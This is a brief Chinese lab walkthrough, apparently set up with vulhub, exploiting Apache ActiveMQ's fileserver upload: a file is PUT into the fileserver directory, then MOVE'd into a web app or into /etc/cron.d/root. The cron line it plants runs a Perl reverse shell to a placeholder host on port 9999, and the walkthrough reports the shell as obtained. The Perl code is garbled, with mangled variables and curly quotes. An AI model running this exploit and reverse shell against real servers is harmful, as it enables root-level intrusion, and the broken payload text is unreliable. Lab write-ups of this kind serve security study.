环境搭建
使用vulhub进行环境搭建,具体步骤可参考这里。
漏洞验证
上传文件,使用PUT方法放到fileserver目录下,服务器响应204即代码上传成功。
将刚刚上传的文件MOVE到admin或api应用中,但是这两个应用都需要登录才能访问到(所以这里需要知道ActiveMQ的绝对路径,可以通过报错等方式获取到绝对路径)
登录后访问
下面这个方法更稳定一些,可以在fileserver目录下写入如下内容:
*/1 * * * * root /usr/bin/perl -e ‘use Socket; i = " X . X . X . X " ; i="X.X.X.X"; i="X.X.X.X";p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in( p , i n e t a t o n ( p,inet_aton( p,inetaton(i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’ |
将文件移动到Destination: file:///etc/cron.d/root
反弹shell成功